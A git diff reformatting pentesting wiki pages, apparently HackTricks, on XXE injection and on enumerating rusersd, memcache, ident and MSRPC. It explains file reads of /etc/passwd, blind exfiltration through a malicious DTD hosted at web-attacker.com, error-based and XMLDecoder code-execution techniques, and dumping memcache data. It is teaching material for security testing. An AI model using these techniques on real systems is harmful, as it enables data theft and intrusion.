uses a tree-like structure of tags and data. Unlike HTML, XML does not use predefined tags, and so tags can be given names that describe the data. Earlier in the web's history, XML was in vogue as a data transport format (the "X" in "AJAX" stands for "XML"). But its popularity has now declined in favor of the JSON format. -### What are XML entities? +### What are XML entities? XML entities are a way of representing an item of data within an XML document, instead of using the data itself. Various entities are built in to the specification of the XML language. For example, the entities `<` and `>` represent the characters `<` and `>`. These are metacharacters used to denote XML tags, and so must generally be represented using their entities when they appear within data. @@ -19,14 +19,14 @@ XML entities are a way of representing an item of data within an XML document, i Element type declarations set the rules for the type and number of elements that may appear in an XML document, what elements may appear inside each other, and what order they must appear in. For example: * `` Means that any object could be inside the parent `` -* <!ELEMENT stockCheck EMPTY> Means that it should be empty `` -* <!ELEMENT stockCheck \(productId,storeId\)> Declares that `` can have the children `` and `` +* \ Means that it should be empty `` +* \ Declares that `` can have the children `` and `` -### What is document type definition? +### What is document type definition? -The XML document type definition \(DTD\) contains declarations that can define the structure of an XML document, the types of data values it can contain, and other items. The DTD is declared within the optional `DOCTYPE` element at the start of the XML document. The DTD can be fully self-contained within the document itself \(known as an "internal DTD"\) or can be loaded from elsewhere \(known as an "external DTD"\) or can be hybrid of the two. +The XML document type definition (DTD) contains declarations that can define the structure of an XML document, the types of data values it can contain, and other items. The DTD is declared within the optional `DOCTYPE` element at the start of the XML document. The DTD can be fully self-contained within the document itself (known as an "internal DTD") or can be loaded from elsewhere (known as an "external DTD") or can be hybrid of the two. -### What are XML custom entities? +### What are XML custom entities? XML allows custom entities to be defined within the DTD. For example: @@ -34,7 +34,7 @@ XML allows custom entities to be defined within the DTD. For example: This definition means that any usage of the entity reference `&myentity;` within the XML document will be replaced with the defined value: "`my entity value`". -### What are XML external entities? +### What are XML external entities? XML external entities are a type of custom entity whose definition is located outside of the DTD where they are declared. @@ -79,7 +79,7 @@ In this attack I'm going to test if a simple new ENTITY declaration is working ``` -![](../.gitbook/assets/image%20%2820%29.png) +![](<../.gitbook/assets/image (220).png>) ### Read file @@ -93,9 +93,9 @@ In this first case notice that SYSTEM "_**file:///**etc/passwd_" will also work. &example; ``` -![](../.gitbook/assets/image%20%28264%29.png) +![](<../.gitbook/assets/image (221).png>) -This second case should be useful to extract a file if the web server is using PHP \(Not the case of Portswiggers labs\) +This second case should be useful to extract a file if the web server is using PHP (Not the case of Portswiggers labs) ```markup @@ -117,7 +117,7 @@ In this third case notice we are declaring the `Element stockCheck` as ANY ``` -![](../.gitbook/assets/image%20%2832%29.png) +![](<../.gitbook/assets/image (222).png>) ### Directory listing @@ -153,7 +153,7 @@ Using the **previously commented technique** you can make the server access a se ### "Blind" SSRF - Exfiltrate data out-of-band -**In this occasion we are going to make the server load a new DTD with a malicious payload that will send the content of a file via HTTP request \(for multi-line files you could try to ex-filtrate it via** _**ftp://**_**\). This explanation as taken from** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**.** +**In this occasion we are going to make the server load a new DTD with a malicious payload that will send the content of a file via HTTP request (for multi-line files you could try to ex-filtrate it via** _**ftp://**_**). This explanation as taken from** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**.** An example of a malicious DTD to exfiltrate the contents of the `/etc/hostname` file is as follows: @@ -171,7 +171,7 @@ This DTD carries out the following steps: * Uses the `eval` entity, which causes the dynamic declaration of the `exfiltrate` entity to be performed. * Uses the `exfiltrate` entity, so that its value is evaluated by requesting the specified URL. -The attacker must then host the malicious DTD on a system that they control, normally by loading it onto their own webserver. For example, the attacker might serve the malicious DTD at the following URL: +The attacker must then host the malicious DTD on a system that they control, normally by loading it onto their own webserver. For example, the attacker might serve the malicious DTD at the following URL:\ `http://web-attacker.com/malicious.dtd` Finally, the attacker must submit the following XXE payload to the vulnerable application: @@ -184,9 +184,9 @@ Finally, the attacker must submit the following XXE payload to the vulnerable ap This XXE payload declares an XML parameter entity called `xxe` and then uses the entity within the DTD. This will cause the XML parser to fetch the external DTD from the attacker's server and interpret it inline. The steps defined within the malicious DTD are then executed, and the `/etc/passwd` file is transmitted to the attacker's server. -### Error Based\(External DTD\) +### Error Based(External DTD) -**In this case we are going to make the server loads a malicious DTD that will show the content of a file inside an error message \(this is only valid if you can see error messages\).** [**Example from here.**](https://portswigger.net/web-security/xxe/blind) +**In this case we are going to make the server loads a malicious DTD that will show the content of a file inside an error message (this is only valid if you can see error messages).** [**Example from here.**](https://portswigger.net/web-security/xxe/blind) You can trigger an XML parsing error message containing the contents of the `/etc/passwd` file using a malicious external DTD as follows: @@ -214,13 +214,13 @@ Invoke the external DTD error with: And you should see the contents of the file inside error message of the response of the web server. -![](../.gitbook/assets/image%20%28143%29.png) +![](<../.gitbook/assets/image (223).png>) -_**Please notice that external DTD allows us to include one entity inside the second \(`eval`\), but it is prohibited in the internal DTD. Therefore, you can't force an error without using an external DTD \(usually\).**_ +_**Please notice that external DTD allows us to include one entity inside the second (****`eval`****), but it is prohibited in the internal DTD. Therefore, you can't force an error without using an external DTD (usually).**_ -### **Error Based \(system DTD\)** +### **Error Based (system DTD)** -So what about blind XXE vulnerabilities when **out-of-band interactions are blocked** \(external connections aren't available\)?. [Information from here](https://portswigger.net/web-security/xxe/blind). +So what about blind XXE vulnerabilities when **out-of-band interactions are blocked** (external connections aren't available)?. [Information from here](https://portswigger.net/web-security/xxe/blind). In this situation, it might still be possible to **trigger error messages containing sensitive data**, due to a loophole in the XML language specification. If a document's **DTD uses a hybrid of internal and external DTD** declarations, then the **internal DTD can redefine entities that are declared in the external DTD**. When this happens, the restriction on using an XML parameter entity within the definition of another parameter entity is relaxed. @@ -245,9 +245,9 @@ This DTD carries out the following steps: * Defines an XML parameter entity called `local_dtd`, containing the contents of the external DTD file that exists on the server filesystem. * Redefines the XML parameter entity called `custom_entity`, which is already defined in the external DTD file. The entity is redefined as containing the [error-based XXE exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) that was already described, for triggering an error message containing the contents of the `/etc/passwd` file. -* Uses the `local_dtd` entity, so that the external DTD is interpreted, including the redefined value of the `custom_entity` entity. This results in the desired error message. +* Uses the `local_dtd` entity, so that the external DTD is interpreted, including the redefined value of the `custom_entity` entity. This results in the desired error message. - **Real world example:** Systems using the GNOME desktop environment often have a DTD at `/usr/share/yelp/dtd/docbookx.dtd` containing an entity called `ISOamso` + **Real world example:** Systems using the GNOME desktop environment often have a DTD at `/usr/share/yelp/dtd/docbookx.dtd` containing an entity called `ISOamso` ```markup @@ -264,7 +264,7 @@ This DTD carries out the following steps: 3;1 ``` -![](../.gitbook/assets/image%20%2868%29.png) +![](<../.gitbook/assets/image (224).png>) As this technique uses an **internal DTD you need to find a valid one first**. You could do this **installing** the same **OS / Software** the server is using and **searching some default DTDs**, or **grabbing a list** of **default DTDs** inside systems and **check** if any of them exists: @@ -279,7 +279,7 @@ As this technique uses an **internal DTD you need to find a valid one first**. Y In the following awesome github repo you can find **paths of DTDs that can be present in the system**: -{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" caption="" %} +{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %} Moreover, if you have the **Docker image of the victim system**, you can use the tool of the same repo to **scan** the **image** and **find** the path of **DTDs** present inside the system. Read the [Readme of the github](https://github.com/GoSecure/dtd-finder) to learn how. @@ -297,12 +297,12 @@ Testing 0 entities : [] ### XXE via Office Open XML Parsers -\(Copied from [**here**](https://labs.detectify.com/2021/09/30/10-types-web-vulnerabilities-often-missed/)\) +(Copied from [**here**](https://labs.detectify.com/2021/09/30/10-types-web-vulnerabilities-often-missed/))\ Many web applications allow you to upload Microsoft Office documents, and then they parse some details out of them. For example, you might have a web application that allows you to import data by uploading a spreadsheet in XLSX format. At some point, in order for the parser to extract the data from the Spreadsheet, the parser is going to need to **parse at least one XML file**. The only way to test for this is to generate a **Microsoft Office file that contains an XXE payload**, so let’s do that. First, create an empty directory to unzip your document to, and unzip it! -```text +``` test$ ls test.docx test$ mkdir unzipped @@ -319,9 +319,9 @@ Archive: ./test.docx inflating: ./unzipped/[Content_Types].xml ``` -Open up `./unzipped/word/document.xml` in your favourite text editor \(vim\) and edit the **XML to contain your favourite XXE payload**. The first thing I try tends to be a HTTP request, like this: +Open up `./unzipped/word/document.xml` in your favourite text editor (vim) and edit the **XML to contain your favourite XXE payload**. The first thing I try tends to be a HTTP request, like this: -```text +``` ]> &test; ``` @@ -330,17 +330,17 @@ Those lines should be inserted in between the two root XML objects, like this, a ![Those lines should be inserted in between the two root XML objects, like thi](https://labs.detectify.com/wp-content/uploads/2021/09/xxe-obscure.png) -All that is left is to **zip the file up to create your evil poc.docx file**. From the “unzipped” directory that we created earlier, run the following: +All that is left is to** zip the file up to create your evil poc.docx file**. From the “unzipped” directory that we created earlier, run the following: -![From the "unzipped" directory that we created earlier, run the following:](https://labs.detectify.com/wp-content/uploads/2021/09/xxe-unzipped.png) +![From the "unzipped" directory that we created earlier, run the following:](https://labs.detectify.com/wp-content/uploads/2021/09/xxe-unzipped.png) -Now upload the file to your \(hopefully\) vulnerable web application and pray to the hacking gods for a request in your Burp Collaborator logs. +Now upload the file to your (hopefully) vulnerable web application and pray to the hacking gods for a request in your Burp Collaborator logs. ### Jar: protocol -The `jar` protocol is only available on **Java applications**. It allows to access files inside a **PKZIP** file \(`.zip`, `.jar`, ...\) and works for local and remote files: +The `jar` protocol is only available on **Java applications**. It allows to access files inside a **PKZIP** file (`.zip`, `.jar`, ...) and works for local and remote files: -```text +``` jar:file:///var/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt ``` @@ -357,14 +357,14 @@ To be able to access files inside PKZIP files is **super useful to abuse XXE via 4. It reads the `file.zip` 5. It delete temporary files. -Note that it's possible to stop the flow in the second step. The trick is to never close the connection when serving the file. [This tools can be useful](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution): one in python `slow_http_server.py` and one in java`slowserver.jar`. +Note that it's possible to stop the flow in the second step. The trick is to never close the connection when serving the file. [This tools can be useful](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write_xxe/solution): one in python `slow_http_server.py` and one in java`slowserver.jar`. Once the server has downloaded your file, you need to find its location by browsing the temp directory. Being random, the file path can't be predict in advance. -![Jar](https://gosecure.github.io/xxe-workshop/img//74fac3155d455980.png) +![Jar](https://gosecure.github.io/xxe-workshop/img/74fac3155d455980.png) {% hint style="danger" %} -Writing files in a temporary directory can help to **escalate another vulnerability that involves a path traversal** \(such as local file include, template injection, XSLT RCE, deserialization, etc\). +Writing files in a temporary directory can help to **escalate another vulnerability that involves a path traversal** (such as local file include, template injection, XSLT RCE, deserialization, etc). {% endhint %} ### XSS @@ -404,7 +404,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] #### Quadratic Blowup Attack -![](../.gitbook/assets/image%20%28479%29.png) +![](<../.gitbook/assets/image (531).png>) ## Hidden XXE Surfaces @@ -448,7 +448,9 @@ You could also try to **execute commands** using the PHP "expect" wrapper: Read the following post to **learn how to exploit a XXE uploading a PDF** file: -{% page-ref page="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} +{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} +[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md) +{% endcontent-ref %} ### Content-Type: From x-www-urlencoded to XML @@ -518,7 +520,7 @@ This only work if the XML server accepts the `data://` protocol. ### UTF-7 -You can use the \[**"Encode Recipe**" of cyberchef here \]\(\[[https://gchq.github.io/CyberChef/\#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4\)to\]\([https://gchq.github.io/CyberChef/\#recipe=Encode\_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7%20%2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)\) transform to UTF-7. +You can use the \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transform to UTF-7. ```markup @@ -540,9 +542,9 @@ If the web is using Java you may check the [**jar: protocol**](xxe-xee-xml-exter ### HTML Entities -Trick from [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) -You can create an **entity inside an entity** encoding it with **html entities** and then call it to **load a dtd**. -Note that the **HTML Entities** used needs to be **numeric** \(like \[in this example\]\([https://gchq.github.io/CyberChef/\#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)\](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric%20entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B%29\)\). +Trick from [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\ +You can create an **entity inside an entity** encoding it with **html entities** and then call it to **load a dtd**.\ +Note that the **HTML Entities** used needs to be **numeric** (like \[in this example]\([https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)). ```markup %a;%dtd;]> @@ -598,10 +600,10 @@ DTD example: ## XLIFF - XXE -This section was taken from [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) +This section was taken from [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)\ According to the [Wikipedia](https://en.wikipedia.org/wiki/XLIFF): -> XLIFF \(XML Localization Interchange File Format\) is an XML-based bitext format created to standardize the way localizable data are passed between and among tools during a localization process and a common format for CAT tool exchange. +> XLIFF (XML Localization Interchange File Format) is an XML-based bitext format created to standardize the way localizable data are passed between and among tools during a localization process and a common format for CAT tool exchange. ### Blind request @@ -752,7 +754,7 @@ Using PHP base64 filter XMLDecoder is a Java class that creates objects based on a XML message. If a malicious user can get an application to use arbitrary data in a call to the method **readObject**, he will instantly gain code execution on the server. -### Using Runtime\(\).exec\(\) +### Using Runtime().exec() ```markup @@ -818,16 +820,15 @@ XMLDecoder is a Java class that creates objects based on a XML message. If a mal ## Tools -{% embed url="https://github.com/luisfontes19/xxexploiter" caption="" %} +{% embed url="https://github.com/luisfontes19/xxexploiter" %} ## More resources -[https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf) -[https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html) -Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/) -[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection) -[https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4) -[https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9) -[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) -[https://gosecure.github.io/xxe-workshop/\#7](https://gosecure.github.io/xxe-workshop/#7) - +[https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\ +[https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\ +Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\ +[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\ +[https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\ +[https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\ +[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\ +[https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7) diff --git a/pentesting/1026-pentesting-rusersd.md b/pentesting/1026-pentesting-rusersd.md index 9fb2acdb..a1ca1111 100644 --- a/pentesting/1026-pentesting-rusersd.md +++ b/pentesting/1026-pentesting-rusersd.md @@ -4,11 +4,11 @@ This protocol will provide you the usernames of the host. You may be able to find this services listed by the port-mapper service like this: -![](../.gitbook/assets/image%20%2814%29.png) +![](<../.gitbook/assets/image (231).png>) ### Enumeration -```text +``` root@kali:~# apt-get install rusers root@kali:~# rusers -l 192.168.10.1 Sending broadcast for rusersd protocol version 3... @@ -16,4 +16,3 @@ Sending broadcast for rusersd protocol version 2... tiff potatohead:console Sep 2 13:03 22:03 katykat potatohead:ttyp5 Sep 1 09:35 14 ``` - diff --git a/pentesting/11211-memcache.md b/pentesting/11211-memcache.md index 5649d0f0..e596f731 100644 --- a/pentesting/11211-memcache.md +++ b/pentesting/11211-memcache.md @@ -2,12 +2,12 @@ ## Protocol Information -**Memcached** \(pronunciation: mem-cashed, mem-cash-dee\) is a general-purpose distributed [memory caching](https://en.wikipedia.org/wiki/Memory_caching) system. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source \(such as a database or API\) must be read. \(From [wikipedia](https://en.wikipedia.org/wiki/Memcached)\) +**Memcached** (pronunciation: mem-cashed, mem-cash-dee) is a general-purpose distributed [memory caching](https://en.wikipedia.org/wiki/Memory_caching) system. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source (such as a database or API) must be read. (From [wikipedia](https://en.wikipedia.org/wiki/Memcached))\ Although Memcached supports SASL, most instances are **exposed without authentication**. -**Default port:** 11211 +**Default port: **11211 -```text +``` PORT STATE SERVICE 11211/tcp open unknown ``` @@ -18,9 +18,9 @@ PORT STATE SERVICE To ex-filtrate all the information saved inside a memcache instance you need to: -1. Find **slabs** with **active items** -2. Get the **key names** of the slabs detected before -3. Ex-filtrate the **saved data** by **getting the key names** +1. Find **slabs **with **active items** +2. Get the **key names **of the slabs detected before +3. Ex-filtrate the **saved data **by **getting the key names** Remember that this service is just a **cache**, so **data may be appearing and disappearing**. @@ -58,4 +58,3 @@ msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplifica * `port:11211 "STAT pid"` * `"STAT pid"` - diff --git a/pentesting/113-pentesting-ident.md b/pentesting/113-pentesting-ident.md index ad37f946..29018efe 100644 --- a/pentesting/113-pentesting-ident.md +++ b/pentesting/113-pentesting-ident.md @@ -2,11 +2,11 @@ ## Basic Information -Is an [Internet](https://en.wikipedia.org/wiki/Internet) [protocol](https://en.wikipedia.org/wiki/Protocol_%28computing%29) that helps identify the user of a particular [TCP](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) connection. +Is an [Internet](https://en.wikipedia.org/wiki/Internet) [protocol](https://en.wikipedia.org/wiki/Protocol_\(computing\)) that helps identify the user of a particular [TCP](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) connection. **Default port:** 113 -```text +``` PORT STATE SERVICE 113/tcp open ident ``` @@ -15,23 +15,23 @@ PORT STATE SERVICE ### **Manual - Get user/Identify the service** -If a machine is running the service ident and samba \(445\) and you are connected to samba using the port 43218. You can get which user is running the samba service by doing: +If a machine is running the service ident and samba (445) and you are connected to samba using the port 43218. You can get which user is running the samba service by doing: -![](../.gitbook/assets/image%20%2877%29.png) +![](<../.gitbook/assets/image (15).png>) If you just press enter when you conenct to the service: -![](../.gitbook/assets/image%20%28176%29.png) +![](<../.gitbook/assets/image (16).png>) Other errors: -![](../.gitbook/assets/image%20%28268%29.png) +![](<../.gitbook/assets/image (17).png>) ### Nmap -By default \(-sC\) nmap will identify every user of every running port: +By default (-sC) nmap will identify every user of every running port: -```text +``` PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0) |_auth-owners: root @@ -48,9 +48,9 @@ PORT STATE SERVICE VERSION ### Ident-user-enum -Ident-user-enum is a simple PERL script to query the ident service \(113/TCP\) in order to determine the owner of the process listening on each TCP port of a target system. The list of usernames gathered can be used for password guessing attacks on other network services. It can be installed with `apt install ident-user-enum`. +Ident-user-enum is a simple PERL script to query the ident service (113/TCP) in order to determine the owner of the process listening on each TCP port of a target system. The list of usernames gathered can be used for password guessing attacks on other network services. It can be installed with `apt install ident-user-enum`. -```text +``` root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445 ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) @@ -70,7 +70,7 @@ identd.conf ## HackTricks Automatic Commands -```text +``` Protocol_Name: Ident #Protocol Abbreviation if there is one. Port_Number: 113 #Comma separated if there is more than one. Protocol_Description: Identification Protocol #Protocol Abbreviation Spelled out @@ -88,4 +88,3 @@ Entry_2: Description: Enumerate Users Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all open ports) ``` - diff --git a/pentesting/135-pentesting-msrpc.md b/pentesting/135-pentesting-msrpc.md index 0960d871..0ea815c2 100644 --- a/pentesting/135-pentesting-msrpc.md +++ b/pentesting/135-pentesting-msrpc.md @@ -1,20 +1,20 @@ # 135, 593 - Pentesting MSRPC {% hint style="danger" %} -Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**? -[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** +Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?\ +[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop)** so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** {% endhint %} -If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** -If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. +If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks **or** PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ +If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to** give ⭐** on **github** to **motivate** **me** to continue developing this book. ## Basic Information Microsoft Remote Procedure Call, also known as a function call or a subroutine call, is [a protocol](http://searchmicroservices.techtarget.com/definition/Remote-Procedure-Call-RPC) that uses the client-server model in order to allow one program to request service from a program on another computer without having to understand the details of that computer's network. MSRPC was originally derived from open source software but has been developed further and copyrighted by Microsoft. -Depending on the host configuration, the RPC endpoint mapper can be accessed through TCP and UDP port 135, via SMB with a null or authenticated session \(TCP 139 and 445\), and as a web service listening on TCP port 593. +Depending on the host configuration, the RPC endpoint mapper can be accessed through TCP and UDP port 135, via SMB with a null or authenticated session (TCP 139 and 445), and as a web service listening on TCP port 593. -```text +``` 135/tcp open msrpc Microsoft Windows RPC ``` @@ -22,10 +22,10 @@ Depending on the host configuration, the RPC endpoint mapper can be accessed thr [The MSRPC process begins on the client side](https://technet.microsoft.com/en-us/library/cc738291.aspx), with the client application calling a local stub procedure instead of code implementing the procedure. The client stub code retrieves the required parameters from the client address space and delivers them to the client runtime library, which then translates the parameters into a standard Network Data Representation format to transmit to the server. -The client stub then calls functions in the RPC client runtime library to send the request and parameters to the server. If the server is located remotely, the runtime library specifies an appropriate transport protocol and engine and passes the RPC to the network stack for transport to the server. +The client stub then calls functions in the RPC client runtime library to send the request and parameters to the server. If the server is located remotely, the runtime library specifies an appropriate transport protocol and engine and passes the RPC to the network stack for transport to the server.\ From here: [https://www.extrahop.com/resources/protocols/msrpc/](https://www.extrahop.com/resources/protocols/msrpc/) -![](../.gitbook/assets/image%20%28165%29.png) +![](<../.gitbook/assets/image (133).png>) **Image From book "**_**Network Security Assesment 3rd Edition**_**"** @@ -33,11 +33,11 @@ From here: [https://www.extrahop.com/resources/protocols/msrpc/](https://www.ext **Section extracted from book "**_**Network Security Assesment 3rd Edition**_**"** -You can query the RPC locator service and individual RPC endpoints to catalog interesting services running over TCP, UDP, HTTP, and SMB \(via named pipes\). Each IFID value gathered through this process denotes an RPC service \(e.g., 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc is the Messenger interface\). +You can query the RPC locator service and individual RPC endpoints to catalog interesting services running over TCP, UDP, HTTP, and SMB (via named pipes). Each IFID value gathered through this process denotes an RPC service (e.g., 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc is the Messenger interface). Todd Sabin’s rpcdump and ifids Windows utilities query both the RPC locator and specific RPC endpoints to list IFID values. The rpcdump syntax is as follows: -```text +``` D:\rpctools> rpcdump [-p port] 192.168.189.1 IfId: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0 Annotation: Messenger Service @@ -47,9 +47,9 @@ Binding: ncadg_ip_udp:192.168.189.1[1028] You can access the RPC locator service by using four protocol sequences: -* ncacn\_ip\_tcp and ncadg\_ip\_udp \(TCP and UDP port 135\) -* ncacn\_np \(the \pipe\epmapper named pipe via SMB\) -* ncacn\_http \(RPC over HTTP via TCP port 80, 593, and others\) +* ncacn_ip_tcp and ncadg_ip_udp (TCP and UDP port 135) +* ncacn_np (the \pipe\epmapper named pipe via 